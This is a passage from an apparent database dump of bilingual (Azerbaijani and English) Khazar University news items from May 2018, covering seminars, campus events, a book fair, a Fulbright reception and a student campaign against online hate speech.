məsələlər” mövzusunda seminar verəcəkdir. Dr.&nbsp;Ülviyyə Mikayılova ADA Universitetinin Təhsil Fakültəsinin baş müəllimidir. Seminar Xəzər Universitetində “Neftçilər” kampusunun konfrans zalında (otaq 102N) keçiriləcək.</p><p>Hər kəs dəvətlidir. Ph.D. və magistr tələbələrin seminarda iştirakı ciddi şəkildə tövsiyə olunur.</p>'),(5584,3213,'en','Seminar on “Some Practical Issues in conducting Educational Research”','On May 18, 2018, at 12:00, Khazar University PhD and Master Students Association...','<p>On May 18, 2018, at 12:00, Khazar University PhD and Master Students Association will conduct next routine seminar to support research in Education. Invited speaker Dr. Ulviyya Mikayilova (Ph.D. Biology) will deliver a lecture entitled “Some practical issues of educational research”. Dr. Ulviyya Mikayilova is a senior instructor at the Department of Education of ADA University.</p><p>The seminar will take place at Neftchilar Campus (Room 102N) of Khazar University.</p>\r\n<p>Everyone is welcome to attend. Ph.D. and Master students are strongly encouraged to participate in the seminar.</p>'),(5585,3214,'az','Karyera Mərkəzi məlumat sessiyası keçirdi','2018-ci il mayın 12-də Xəzər Universiteti Karyera Mərkəzi Xəzər Universitetinin...','<p>2018-ci il mayın 12-də Xəzər Universiteti Karyera Mərkəzi Xəzər Universitetinin şəhər mərkəzindəki korpusunda (B.Səfəroğlu küç. 122) magistr tələbələri üçün məlumat sessiyası keçirdi. Karyera Mərkəzinin nümayəndələri Karyera Sərgisinə hazırlıq prosesi və mərkəzin fəaliyyəti barədə tələbələrə məlumat verdilər.</p>'),(5586,3214,'en','Information session of Career Center','On May 12, 2018, Career Center of Khazar University held an information session...','<p>On May 12, 2018, Career Center of Khazar University held an information session for Master students in the campus located in the city center (122 B. Safaroghlu St.). During the session, students were informed about the center as well as the preparation process for Career Fair.</p>'),(5588,3215,'en','Associates of Khazar University visit the campus of the European Azerbaijan School','On May 21, 2018, Prof. Fuat Rasulov, Coordinator of the working group for prospective...','<p>On May 21, 2018, Prof. Fuat Rasulov, Coordinator of the working group for prospective students, and Ozal Mammadli, HR Manager, held a meeting at the campus of the European Azerbaijan School to promotion Khazar University. The participants were mainly 10th-grade students. Before the meeting with students, Khazar University associates had a short meeting with Lala Rustamova, School Advisor on University Affairs, and Namig Mammadov, Coordinator of the Department of Humanitarian Affairs. The University associates informed the school staff about the aim of the visit and shared promotional booklets, catalogues, etc. with them.</p><p>During the meeting with students of IB program of the European Azerbaijan School, a promotional video about Khazar University was played. In the meeting, which was held in English, a presentation was made about opportunities and advantages at Khazar University.</p><p>University associates answered students’ questions and gave them promotional booklets and souvenirs.</p>'),(5589,3216,'az','Xəzər Universitetinin məzunu prorektor təyin olundu','Azərbaycanın media orqanlarının verdiyi xəbərə görə, Azərbaycan Respublikasının...','<p>Azərbaycanın media orqanlarının verdiyi xəbərə görə, Azərbaycan Respublikasının Təhsil naziri Ceyhun Bayramovun əmri ilə Xəzər Univeritetinin məzunu Anar Yaşar oğlu Rzayev UNEC-in (Azərbaycan Dövlət İqtisad Universiteti) Beynəlxalq əlaqələr və proqramlar üzrə prorektoru təyin edilmişdir.</p><p>Daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p><p><a href=\"https://report.az/en/education-and-science/new-pro-rector-of-unec-appointed/\">https://report.az/en/education-and-science/new-pro-rector-of-unec-appointed/</a></p><p><a href=\"http://www.abc.az/en/news/9692\">http://www.abc.az/en/news/9692</a></p><p><a href=\"http://demokratikmusavat.com/article/en/62614-New+appointment+at+UNEC.html\">http://demokratikmusavat.com/article/en/62614-New+appointment+at+UNEC.html</a></p><p><a href=\"https://en.trend.az/azerbaijan/society/2904042.html\">https://en.trend.az/azerbaijan/society/2904042.html</a></p>'),(5590,3216,'en','Khazar University graduate appointed Vice-rector','According to media, by the order of the Ministry of Education, Jeyhun Bayramov...','<p>According to media, by the order of the Ministry of Education, Jeyhun Bayramov, Anar Yashar oghlu Rzayev, a Khazar University graduate, has been appointed as a Vice-rector on International Relations and Programs of UNEC (Azerbaijan State University of Economics).</p><p>Further information is available at:</p><p><a href=\"https://report.az/en/education-and-science/new-pro-rector-of-unec-appointed/\">https://report.az/en/education-and-science/new-pro-rector-of-unec-appointed/</a></p><p><a href=\"http://www.abc.az/en/news/9692\">http://www.abc.az/en/news/9692</a></p><p><a href=\"http://demokratikmusavat.com/article/en/62614-New+appointment+at+UNEC.html\">http://demokratikmusavat.com/article/en/62614-New+appointment+at+UNEC.html</a></p><p><a href=\"https://en.trend.az/azerbaijan/society/2904042.html\">https://en.trend.az/azerbaijan/society/2904042.html</a></p>'),(5591,3217,'az','Professor Hamlet İsaxanlının tərtibçisi olduğu, İranda çap olunmuş “Azərbaycan sevgi şeirləri” adlı kitab Tehran Beynəlxalq Kitab Sərgisində nümayiş etdirilmişdir','Mayın 2-12-də Tehranda keçirilmiş 31-ci Tehran Beynəlxalq Kitab Sərgisində...','<p>Mayın 2-12-də Tehranda keçirilmiş 31-ci Tehran Beynəlxalq Kitab Sərgisində İranın Azər-Türk nəşriyyatı da öz pavilyonu ilə iştirak etmişdir. Eynullah Şərifpurun başçılığı ilə pavilyonda nəşriyyatın çap etdiyi kitablar nümayiş etdirilmiş və satılmışdır.</p><p>Sərgidə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasınnı sədri professor Hamlet İsaxanlının tərtibçisi olduğu “Azərbaycan sevgi poeziyası” kitabının 2015-ci ildə İranda Azər-Türk nəşriyyatı tərəfindən “Azərbaycan sevgi şeirləri” adı ilə çap olunmuş nüsxələri də nümayiş etdirilmişdir. 296 səhifəlik kitab min nüsxə tirajla buraxılmışdır.</p><p>Qeyd edək ki, professor Hamlet İsaxanlının tərtib etdiyi üç cildlik “Azərbaycan sevgi poeziyası” kitabı 2008-2009-cu illərdə Xəzər Universitetinin Nəşriyyatında çapdan çıxıb.</p><p>2014-cü ildə fəaliyyətə başlamış Azər-Türk nəşriyyatı indiyədək İsmayıl Şıxlı, Ramiz Rövşən, Yusif Vəzir Çəmənzəminli, Məmməd Səid Ordubadi, Söhrab Tahir, Səid Qurban, Molla Pənah Vaqif, Məmməd Araz kimi ədiblərin əsərlərini də nəşr edib. Azər-Türk nəşriyyatı bu ilin fevral ayında İranın Qum şəhərində keçirilmiş kitab sərgisində də öz pavilyonu ilə iştirak etmişdi.</p><p>Bu barədə məlumatı aşağıdakı linklərdə oxumaq olar:</p><p><a href=\"http://www.bbc.com/azeri/region-44066739#Kalibri\">http://www.bbc.com/azeri/region-44066739#Kalibri</a></p><p><a href=\"https://www.gisoom.com/book/11259019/%DA%A9%D8%AA%D8%A7%D8%A8-%D8%A2%D8%B0%D8%B1%D8%A8%D8%A7%DB%8C%D8%AC%D8%A7%D9%86-%D8%B3%D8%A6%D9%88%DA%AF%DB%8C-%D8%B4%D8%B9%D8%B1%D9%84%D8%B1%DB%8C/\">https://www.gisoom.com/book/11259019/%DA%A9%D8%AA%D8%A7%D8%A8-%D8%A2%D8%B0%D8%B1%D8%A8%D8%A7%DB%8C%D8%AC%D8%A7%D9%86-%D8%B3%D8%A6%D9%88%DA%AF%DB%8C-%D8%B4%D8%B9%D8%B1%D9%84%D8%B1%DB%8C/</a></p>'),(5592,3217,'en','The book “Azerbaijani love poems”, compiled by Prof. Hamlet Isakhanli and published in Iran, is demonstrated at Tehran International Book Fair','On May 2-11, 2018, Azer-Turk publishing house of Iran participated in Tehran International...','<p>On May 2-11, 2018, Azer-Turk publishing house of Iran participated in Tehran International Book Fair. The books published by Azer-Turk publishing house were demonstrated and sold under Eynullah Sharifpur’s guidance.</p><p>In the Book Fair, the copies of the book “Azerbaijani love poems” published by Azer-Turk publishing house in 2015 were demonstrated. The book was previously published under name “Azerbaijani love poetry” which was compiled by Prof. Hamlet Isakhanli, the founder of Khazar University, and Chairman of its Board of Directors and Trustees. “Azerbaijani love poems” contains 296 pages and has been published in one thousand copies.</p><p>The three-volume book “Azerbaijani love poems”, compiled by Prof. Hamlet Isakhanli, was released by Khazar University Publishing House in 2008-2009.</p><p>Azer-Turk publishing house, founded in 2014, has published works by Ismayil Shikhli, Ramiz Rovshan, Hamlet Isaxanli, Yusif Vazir Chamanzaminli, Mammad Said Ordubadi, Sahrab Tahir, Said Gurban, Molla Panah Vagif, and Mammad Araz. Azer-Turk publishing house also joined book fair held in Qom city, Iran, in February, 2018.</p>\r\n<p>The information is available at:</p> <p><a href=\"http://www.bbc.com/azeri/region-44066739#Kalibri\">http://www.bbc.com/azeri/region-44066739#Kalibri</a></p><p><a href=\"https://www.gisoom.com/book/11259019/%DA%A9%D8%AA%D8%A7%D8%A8-%D8%A2%D8%B0%D8%B1%D8%A8%D8%A7%DB%8C%D8%AC%D8%A7%D9%86-%D8%B3%D8%A6%D9%88%DA%AF%DB%8C-%D8%B4%D8%B9%D8%B1%D9%84%D8%B1%DB%8C/\">https://www.gisoom.com/book/11259019/%DA%A9%D8%AA%D8%A7%D8%A8-%D8%A2%D8%B0%D8%B1%D8%A8%D8%A7%DB%8C%D8%AC%D8%A7%D9%86-%D8%B3%D8%A6%D9%88%DA%AF%DB%8C-%D8%B4%D8%B9%D8%B1%D9%84%D8%B1%DB%8C/</a></p>'),(5918,3385,'en','Unikal.org denied the news it released about poisoning at \"Dunya\" school','The text said: “On April 23, 2018, an article entitled \"Mass Poisoning at Dunya School...','<p>The text said: “On April 23, 2018, an article entitled \"<em>Mass Poisoning at Dunya School: 50 Pupils, 4 Teachers</em>\" was published on our website. We as <em>unikal.org</em> website apologize to pupils and teachers of Dunya school as the staff of the school are concerned with the released article. The educational organisation has provided our website with contadictory report which says: “Please note that no case of mass poisoning has occurred at \"Dunya\" School. It is also confirmed by the results of the examination carried out on 26.04.2018, by the Binagadi Regional Hygiene and Epidemiology Center of the Ministry of Health of the Republic of Azerbaijan.&nbsp;</p><p>As for 50 students who were absent, it should be taken into consideration that there are 70 classes at \"Dunya\" school, and absence of 1 pupil per class, for certain reasons, can be considered normal.</p><p>We attach the results of the examination conducted by the Binagadi Regional Hygiene and Epidemiology Center of the Ministry of Health of the Republic of Azerbaijan as a document and request the website management to publish, in accordance with relevant legislation on Mass Media, our denial of the report (Mass Poisoning at Dunya School: 50 pupis, 4 Teachers) on your website. &nbsp;</p>  <p>Denial of the report is available at:\r\n</p><p><a href=\"http://www.unikal.org/w188927.html\">http://www.unikal.org/w188927.html</a></p>'),(5593,3218,'az','İngilis dili və ədəbiyyatı departamentinin müəlliminin məqaləsi beynəlxalq elmi jurnalda nəşr edildi','Xəzər Universiteti İngilis dili və ədəbiyyatı departamentinin müəllimi İlham...','<p>Xəzər Universiteti İngilis dili və ədəbiyyatı departamentinin müəllimi İlham Tağıyevin “<em>Struktur-sintaktik ikimənalılıq və supra-seqmental vasitələr</em>” başlıqlı məqaləsi Rusiyada çıxan “Philology” jurnalının 15-ci sayında nəşr edilmişdir. Müəllif diqqəti şifahi nitq ilə yazılı mətn arasındakı fərqə yönəldərək, qeyd edir ki, məqalədə təhlil edilən hallarda ikimənalılıq şifahi nitqdə deyil, yalnız yazılı mətndə mövcud ola bilər, çünki sonuncu supra-seqmental vasitələrdən məhrumdur.</p><p>Məqaləni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://sciphilology.ru/d/1076213/d/philology_no_3_15_may.pdf\">http://sciphilology.ru/d/1076213/d/philology_no_3_15_may.pdf</a></p>'),(5594,3218,'en','Article by Member of the English Language and Literature Department is Published','An article entitled “Structural-Syntactic Ambiguity and Supra-Segmental Means...','<p>An article entitled “<em>Structural-Syntactic Ambiguity and Supra-Segmental Means</em>” by Ilham Taghiyev, a lecturer of English Language and Literature Department, was published in the 15<sup>th</sup> issue of the international scientific journal “Philology” in Russia. The author draws attention to the gap between oral human speech and written text and states that ambiguity in the analyzed cases can exist only in the written version of human speech due to the lack of supra-segmental means in the latter.</p>\r\n<p>The article is available at:</p><p><a href=\"http://sciphilology.ru/d/1076213/d/philology_no_3_15_may.pdf\">http://sciphilology.ru/d/1076213/d/philology_no_3_15_may.pdf</a></p>'),(5606,3225,'en','Students of the School of Engineering and Applied Sciences in Turkey','On May 4-10, 2018, 23rd ICAMES (International Cultural and Academic...','<p>On May 4-10, 2018, 23<sup>rd</sup> ICAMES (International Cultural and Academic Meeting of Engineering Students), organized by Engineering Society of Boğaziçi University, took place. Teams from Turkey, Egypt, Italy, Canada, Colombia, Bangladesh, Jordan and Macedonia participated in the event. 5 students (Tarlan Hasanli, Latif Guliyev, Huseyn Askerov, Beydulla Zeynalov and Alikram Hasanli) of the School of Engineering and Applied Sciences, represented Khazar University in the event. The team was led by Nuru Safarov, Head of the Department of Electronics and Telecommunication, the School of Engineering and Applied Sciences.</p><p>ICAMES is an international engineering project competition. The only condition for participation in the competition is to submit a project in engineering which is designed by undergraduate students. This year’s topic of ICAMES was “Renewable energy”.</p><p>Khazar University team has joined this competition for the second time. The team made a presentation on “Piezoelectric Power harvesting” informing the participants about the application of the project and plans to be realized with regard to the project.</p><p>Moreover, some steps were taken to introduce Azerbaijan and Khazar University in the event. In “Culture night” part of the event, the team members presented Azerbaijani candies and beverages to the participants and enlightened them about Azerbaijan.</p>'),(5607,3226,'az','Məhəmmədəmin Rəsulzadənin məktublarının təqdimat mərasimində','2018-ci il mayın 16-da Milli Azərbaycan Tarixi Muzeyində Cümhuriyyətin 100 illiyi münasibətilə...','<p>2018-ci il&nbsp;mayın 16-da Milli Azərbaycan Tarixi Muzeyində Cümhuriyyətin 100 illiyi münasibətilə keçirilən tədbir çərçivəsində Cümhuriyyətinin qurucularından biri, görkəmli dövlət xadimi Məhəmmədəmin Rəsulzadənin azərbaycanlı mühacir Süleyman Təkinərə mühacirət dövründə yazdığı və muzeyə hədiyyə olunmuş 29 məktubun təqdimatı keçirildi. Təqdimatda Xəzər Universiteti Tarix və arxeologiya departamentinin müdiri Roza xanım Arazova və tarix müəllimliyi ixtisasının tələbələri iştirak edirdilər.</p><p>Muzeyin elmi katibi t.ü.f.d. Fərhad Cabbarov tədbiri açaraq, qeyd etdi ki, məktublar 1950-1955-ci illər dövrünü əhatə edir. Məktublar muzeyə Süleyman Təkinərin Bakıda yaşayan varisləri tərəfindən hədiyyə olunmuşdur. Məktublarda M.Rəsulzadə Azərbaycan mühacirətinin qarşısında duran vəzifələr haqqında fikirlərini S.Təkinər ilə bölüşür. Daha sonra isə muzeyin xahişinə əsasən S.Təkinərin varisləri onları mədəniyyət ocağına hədiyyə etmişlər.</p><p>Tədbirdə “Əzablı yollarla” filmindən S.Təkinərin M.Rəsulzadə ilə görüşündən fraqmentlər göstərildi. Tədbirdə çıxış edən Muzeyin direktoru, akademik Nailə Vəlixanlı Cümhuriyyət irsinin, xüsusilə, M.Rəsulzadə mirasının qorunmasının əhəmiyyətini qeyd etdi. Daha sonra məktubları muzeyə hədiyyə edən Rauf Həsənov və S.Təkinərin Almaniyada yaşayan qızı Leyla Deqner çıxış etdilər.</p><p>Sonda Roza xanım və tarixçi tələbələr xatirə şəkli çəkdirdilər.</p>'),(5608,3226,'en','At the presentation ceremony of letters by Mahammad Amin Rasulzadeh','On May 16, 2018, a presentation of 29 letters produced by Mahammad Amin Rasulzadeh...','<p>On May 16, 2018, a presentation of 29 letters produced by Mahammad Amin Rasulzadeh during his exile, one of the founders of the Azerbaijan Democratic Republic and a prominent state figure, which were sent to Suleyman Takinar, an Azerbaijani exiled intellectual, was held. The letters were donated to the National Museum of History of Azerbaijan where the presentation took place. Roza Arazova, Head of the Department of History and Archeology, and students majoring in History participated in the presentation.</p><p>In his opening speech, Farhad Jabbarov, PhD in History and Secretary of the Museum, mentioned that the letters belong to the period of 1950-1955. The letters have been donated to the museum by Suleyman Tekinar’s successors living in Baku. In his letters, Mahammad Amin Rasulzadeh shared his ideas with Suleyman Tekinar regarding missions of Azerbaijani exiled intellectuals. Later, on request of the museum, Suleyman Tekinar’s successors presented the letters to a cultural centre.</p><p>In the ceremony, a clip from the movie “Through painful ways”, which screened S.Takinar’s meeting with M.Razulzade, was demonstrated. Naila Valikhanli, Director of the Museum, delivered a speech and stressed the importance of protecting the heritage of Azerbaijan Democratic&nbsp;Republic, especially the one by M.Razulzadeh. Then Rauf Hasanov, who has donated the letters to the museum, and Leyla Denger, Suleyman Tekinar’s daughter living in Germany, delivered speeches. Roza Arazova and students had a memory photo taken.</p>'),(5609,3227,'az','Fulbright Təqaüdçüləri üçün Qarşılama Tədbiri','17 may tarixində Xəzər Universitetinin Mədəniyyət Mərkəzində Fulbright...','<p>17 may tarixində Xəzər Universitetinin Mədəniyyət Mərkəzində Fulbright təqaüdçüləri Wisconsin La-Crosse universitetindən dosent Robert Jecklin və Texas Tyler Universitetindən dosent Ali Azghani üçün qarşılama tədbiri keçirilmişdir.</p><p>Xəzər Universitetinin prorektoru dos. İradə Xəlilova qonaqları salamlayaraq təqaüdçülər, onların tədqiqat sahələri və bu sahədə əməkdaşlıq planları haqqında məlumat xarakterli çıxış etmişdir. O, hər iki təqaüdçü haqqında səmimi sözlərlə danışmışdır. Bundan sonra Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri prof. Hamlet İsaxanlı əməkdaşlıq tarixi haqqında, Azərbaycan və ABŞ universitetləri arasında Fulbright təqaüdçülərinin mübadiləsi tarixçəsindən söz açmışdır.</p><p>Qarşılama tədbirinin iştirakçıları Xəzər Universitetinin Rektoru Dr. Hassan Niknafs, Coğrafiya və Ətraf Mühit departamentinin müdiri Dr. Rövşən Abbasov və Məzunlarla İş şöbəsinin müdiri Baba Bayramlı təqaüdçüləri salamlayaraq onlara xoş sözlər ünvanlamış, Fulbright proqramı ilə məhsuldar əməkdaşlığa davam etmək istəklərini bildirmişlər.</p><p>Dos. Robert Jecklin və dos. Ali Azghani öz növbələrində Xəzər Universiteti əməkdaşlarına səmimi qarşılama və təqdidat üçün yaradılan şəraitə görə minnətdarlıqlarını bildirmişlər.</p><p>Xəzər Universiteti Orkestri tədbiri klassik musiqi ilə müşayiət etmişdir.</p>'),(5610,3227,'en','Welcome Party for Fulbright Scholars','On May 17, a welcome party for Fulbright scholars Robert Jecklin, Assistant Professor...','<p>On May 17, a welcome party for Fulbright scholars Robert Jecklin, Assistant Professor of University of Wisconsin-La Crosse and Ali Azghani, Associate Professor of the University of Texas at Tyler was held at Culture Center of Khazar University.</p><p>Vice-Rector of Khazar University, Assoc. Prof. Irada Khalilova welcomed the guests and delivered a speech, in which she gave brief information about the scholars, their research areas and plans for research collaboration. She expressed her warm words for both scholars. Then prof. Hamlet Isakhanli, Founder of Khazar University, Chairman of its Board of Directors and Trustees talked about the history of cooperation, Fulbright scholar exchanges between Azerbaijan and US universities.</p><p>Participants of the welcome party Dr. Hassan Niknafs, Rector of Khazar of University, Dr. Rovshan Abbasov, Head of the department of Geography and Environment, Dr. Baba Bayramli, Director of the Center for Alumni Relations, greeted the honorary scholars, expressed warm words to their address and wished a fruitful collaboration with Fulbright Program.</p><p>In their turn, Assistant Prof. Robert Jecklin and Assoc. Prof. Ali Azghani thanked Khazar University staff for such a warm greeting and the conditions provided for conducting research.</p><p>The whole ceremony was accompanied with beautiful classical music performed by Khazar University Orchestra.</p>'),(5611,3228,'az','“İrqçilik və ayrı-seçkiliyin psixologiyası” seminarı baş tutdu','2018-ci il mayın 16-da Vision Academy-də Xəzər Universitetinin...','<p>2018-ci il mayın 16-da Vision Academy-də Xəzər Universitetinin İqtisadiyyat ve menecement departamentinin koordonatoru Dr. Bahadır Baysal və “THE SAME” komandasının təşkilatçılığı ilə Xəzər Universitetinin Psixologiya departamentinin koordinatoru və Xəzər Psixoloji Xidmət Mərkəzinin Direktoru Mələk Kərimovanın təqdimatında “İrqçilik və ayrı-seçkiliyin psixologiyası” seminarı baş tutdu.</p><p>Seminarda:&nbsp;1) İnsanlarda ayrı-seçkilik psixologiyası nədən yaranır? 2) Vahid bir məqsədə çatmaq üçün başqalarına qarşı ayrı-seçkilik etmək ehtiyacı nədən yaranır? 3) İnsanların öz irqlərini digərlərindən üstün bilməsi və öz irqinin daha yaxşı məqamlarda olması istəyi nədən yaranır? 4) İrqçilik və özünü təsdiq arasında əlaqə varmı? 5) İnsanların öz aqressiyalarını onlayn nifrət mesajları ilə bildirməsinin səbəbləri mövzuları müzakirə olundu.</p><p>Sonda bütün iştirakçılara sertifikat verildi.</p>'),(5612,3228,'en','Seminar on “Psychology of Racism and Discrimination”','On May 16, 2018, a seminar on “Psychology of racism and discrimination...','<p>On May 16, 2018, a seminar on “Psychology of racism and discrimination” was conducted by Melek Kerimova, coordinator of the Department of Psychology and Director of the Psychological Service Center of Khazar University. The Seminar was held at Vision Academy on organizational support by Dr. Bahadir Baysal, coordinator of the Department of Economy and Management, and “THE SAME” team.</p><p>The seminar covered the following topics: 1) The reason for racism in human psychology; 2) The reasons for showing discrimination in order to achieve an aim; 3) The reason for desire to be superior to others and be in a better position in terms of race; 4) A question as to whether there is a relation between racism and self-realization; 5) The reason for expressing aggression through online hate messages.</p><p>At the end of the seminar, all the participants were certified.</p>'),(5613,3229,'az','Rejissor Nazim Rza ilə görüş','2018-ci il mayın 17-də Xəzər Universiteti Tarix və Arxeologiya departamentinin...','<p>2018-ci il mayın 17-də Xəzər Universiteti Tarix və Arxeologiya departamentinin müəllimi Zəhra İslamovanın&nbsp;Mühəndislik və Tətbiqi elmlər fakültəsinin tələbələrinə tədris etdiyi “Azərbaycan tarixi” dərsinə qonaq olaraq kino və televiziya rejissoru, kinodramaturq, beynəlxalq və ümumittifaq kinofestivallarının laureatı Nazim Rza gəlmişdi. Tarix və arxeologiya departamentinin müdiri Roza Arazova tələbələrə Nazim Rzanı təqdim etdikdən sonra dərs tələbələrdən Ayan Ağakişizadə və Mətin Alməmmədlinin Nazim Rza haqqında hazırladıqları çıxışları ilə başlandı. Daha sonra isə söz Nazim Rzaya verildi. Nazim Rza tələblərə maraqlı və dəyərli məlumatlar verdi. Onlara neftimizin tarixindən, yazdığı kitablardan və filmlərindən bəhs etdi. Maraqla dinlədikdən sonra tələbələr öz suallarını Nazim Rzaya verdilər.</p><p>Sonda isə Nazim Rza “Odlu məmləkət” kitabını tələbələrə hədiyyə etdi.</p>'),(5614,3229,'en','Meeting with Nazim Rza, a film director','On May 17, 2018, Nazim Rza, a film and television director, a screenwriter...','<p>On May 17, 2018, Nazim Rza, a film and television director, a screenwriter, a laureate of international and All-Soviet Union film festivals, guested on the lesson “History of Azerbaijan” conducted by Zahra Islamova, an instructor of the Department of History and Archaeology, for the students of the School of Engineering and Applied Sciences. First, Roza Arazova, Head of the Department of History and Archaeology, introduced Nazim Rza to the students. Then the lesson started with a presentation on Nazim Rza delivered by the students - Ayan Aghakishiyeva and Matin Almammadli. Then Nazim Rza took the floor and gave the students interesting information talking about the history of Azerbaijani oil industry as well as the books and movies produced by him. Students listened with great interest and asked questions.</p><p>At the end of the meeting, Nazim Rza presented his book “Fiery country” to the students.</p>'),(5615,3230,'az','Onlayn nifrət mesajlarına qarşı','THE SAME komandasının təşəbbüsü ilə Xəzər Universitetinin tələbələri...','<p>THE SAME komandasının təşəbbüsü ilə Xəzər Universitetinin tələbələri sosial şəbəkələrdə irqçi onlayn nifrət mesajlarına qarşı öz cavablarını bildirdilər. Belə ki, onlayn nifrət nitqini əks etdirən real mesaja tələbələr öz cavablarını qeyd etdilər, mesajlarında insanları dostluğa və bərabərliyə çağırdılar. Belə nifrət nitqlərinin yaranmaması üçün Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin tələbələrindən ibarət THE SAME komandası daim nifrət mesajlarına qarşı və onların azalması yönümündə müxtəlif tədbirlər həyata keçirirlər.</p><p>Azərbaycanda son vaxtlar turistlərin sayı artmaqda davam edir. Mədəniyyətlərarası fərqliliklər, eləcə də, müxtəlif irqə sahib olan insanların artması isə yerli əhalinin bir qismini narahat etməyə başlayır, onlara qarşı yerli insanlar arasında kin, əsəb hətta nifrət yaranır və insanlar bu cür düşüncələrini sosial şəbəkələr vasitəsilə paylaşırlar. Bu isə irqçiliyə yönələn onlayn nifrət mesajlarının göstərici faizini daha da artırır.</p><p>THE SAME komandasının məqsədi isə irqçiliyin azalması üçün insanları bütün insanların eyni olduğuna inandırmaq və irqçiliyə qarşı səssiz qalmamaq, eləcə də, sosial şəbəkələrdə onlayn nifrət nitqinin azalmasına yönəlik işlər görməkdir.</p><p>THE SAME komandası Edventure Partners (EVP) şirkətinin idarəçiliyi ilə <em>Peer to Peer: Facebook Global Rəqəmsal Çağırış (P2P)</em> müsabiqəsi əsasında yaradılmışdır. Müsabiqədə 50-dən artıq ölkəni təmsil edən komandalar var. Ölkəmizi isə yarışda yalnız THE SAME komandası təmsil edir. Onlayn nifrət mesajlarının çoxaldığı bu dövrdə Facebook bu yarışa sponsorluq edərək, gənclərə nifrət mesajlarına qarşı kampaniya yaratmaları üçün dəstək verir.</p><p>Daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p><p><a href=\"https://www.facebook.com/thesame.aze/\">https://www.facebook.com/thesame.aze/</a>;</p><p><a href=\"https://www.instagram.com/thesame.aze/\">https://www.instagram.com/thesame.aze/</a>.  <br></p>'),(5616,3230,'en','Against online hate speeches','On initiatives of THE SAME team, Khazar University students expressed...','<p>On initiatives of THE SAME team, Khazar University students expressed their views on online hate speeches on the social network. Thus students commented on a real online message containing hate, and they called people for friendship and equality. In order to eliminate these kinds of messages, THE SAME team, which consists of students of the School of Economics and Management of Khazar University, take some measures.</p><p>There has been an increase in the number of tourists in Azerbaijan. Intercultural differences, as well as the rise of people belonging to different races, cause disturbance for some people in Azerbaijan who become nervous and hate people with different race. People share their negative views on the social network. This in its turn increases the percentage of online hate speeches on racism.</p><p>In order to struggle against racism, the aim of THE SAME team is to take measures to persuade people in equality of all races and decrease the number of online hate speeches.</p><p>THE SAME team has been established on the competition <em>Peer to Peer: Facebook Global Digital Challenge (P2P)</em> which is managed by Edventure Partners (EVP) company. There are teams representing more than 50 countries in the competition. Azerbaijan is represented only by THE SAME team. Considering an increased number of online hate messages, Facebook sponsors the competition and supports the youth in the struggle against online hate speeches.</p><p>For further information:</p> <p><a href=\"https://www.facebook.com/thesame.aze/\">https://www.facebook.com/thesame.aze/</a>;</p><p><a href=\"https://www.instagram.com/thesame.aze/\">https://www.instagram.com/thesame.aze/</a>.  <br></p>'),(5617,3231,'az','Məhəmməd Əmin Rəsulzadənin evinə ziyarət təşkil olundu','2018-ci il mayın 18-də Xəzər Universiteti Tarix və arxeologiya departamentinin...','<p>2018-ci il mayın 18-də Xəzər Universiteti Tarix və arxeologiya departamentinin təşkilatçılığı ilə tarix ixtisasının tələbələri Azərbaycan Xalq Cümhuriyyətinin 100 illiyi ilə əlaqədar Novxanıda Məhəmməd Əmin Rəsulzadənin evini ziyarət&nbsp;etdilər. Ziyarətdə Tarix və arxeologiya departamentinin müdiri Roza Arazova, assistenti Akifə Cəfərli, Təhsil fakültəsinin dekan müavinləri Zərifə Əliyeva və Aygün Verdiyeva iştirak edirdilər. Öncə M.Ə.Rəsulzadənin heykəli qarşısında tələbələr və əməkdaşlar qərənfillər qoydular. Daha sonra isə M.Ə.Rəsulzadənin dünyaya göz açdığı evini (hazırda&nbsp;uşaq&nbsp;bağçası kimi fəaliyyət göstərir) ziyarət etdilər. Geri qayıdarkən, Roza xanım tələbələrə Azərbaycan Xalq Cümhuriyyətinin 100 illiyi ilə əlaqədar kiçik bir tarix&nbsp;yarışı keçirdi.</p>'),(5618,3231,'en','Visit organized to Mahammad Amin Rasulzadeh’s home','On May 18, 2018, on an organizational support of the Department of History...','<p>On May 18, 2018, on an organizational support of the Department of History and Archeology of Khazar University, the students majoring in History visited Mahammad Amin Rasulzadeh’s home in Novkhani on the occasion of the 100th anniversary of the Azerbaijan Democratic Republic. Roza Arazova, Head of the Department of History and Archeology, Akifa Jafarli, the department assistant, Zarifa Aliyeva and Aygun Verdiyeva, Vice-deans of the School of Education, also joined the visit. First, university associates and students laid carnations in front of M.A.Rasulzadeh’s monument. Then they paid a visit to the home (currently used as a kindergarten) where M.A.Rasulzadeh was born. On the way back, Roza Arazova involved students in a small competition on the 100th anniversary of the Azerbaijan Democratic Republic.</p>'),(6089,3472,'en','Next meeting within PETRA project held','On September 27, 2018, Center for Development at Khazar University organized a meeting with partner universities...','<p>On September 27, 2018, Center for Development at Khazar University organized a meeting with partner universities in Azerbaijan within the ERASMUS+ project “Promoting Excellence in Teaching and Learning in Azerbaijani Universities” (PETRA). During the meeting, achievements within the project and challenges as well as preparation of guidelines&nbsp;on teaching and learning at universities were discussed. Through the coordination of Khazar University, partner universities - Sumgayit State University, Azerbaijan State Pedagogical University, Baku Slavic University, Azerbaijan University of Languages and Azerbaijan University had a discussion on plans and the trainings to be held in November.</p>'),(5619,3232,'az','“Xəzər”in müəllimi beynəlxalq elmi konfransda iştirak etdi','2018-ci il mayın 14-ü və 15-də Xəzər Universiteti Azərbaycan dili və ədəbiyyatı...','<p>2018-ci il mayın 14-ü və 15-də Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Qardaşxan Əzizxanlı Azərbaycan Universitetində ümummilli lider Heydər Əliyevin anadan olmasının 95-ci ildönümü münasibətilə keçirilən “Davamlı inkişaf və humanitar elmlərin aktual problemləri”nə həsr olunmuş Beynəlxalq elmi konfransda “M.Araz poeziyasında Bütöv Azərbaycan ideyasının poetik tərənnümü” mövzusunda çıxış etdi.</p>'),(5620,3232,'en','“Khazar” university lecturer participates in a scientific conference','Gardashkhan Azizkhanli, lecturer of the Department of Azerbaijani Language...','<p>Gardashkhan Azizkhanli, lecturer of the Department of Azerbaijani Language and Literature, School of Education of Khazar University, participated in an international scientific conference entitled “Sustainable Development and Actual Problems in Humanities”, held on May 14-15, 2018, which was dedicated to 95<sup>th</sup> anniversary of 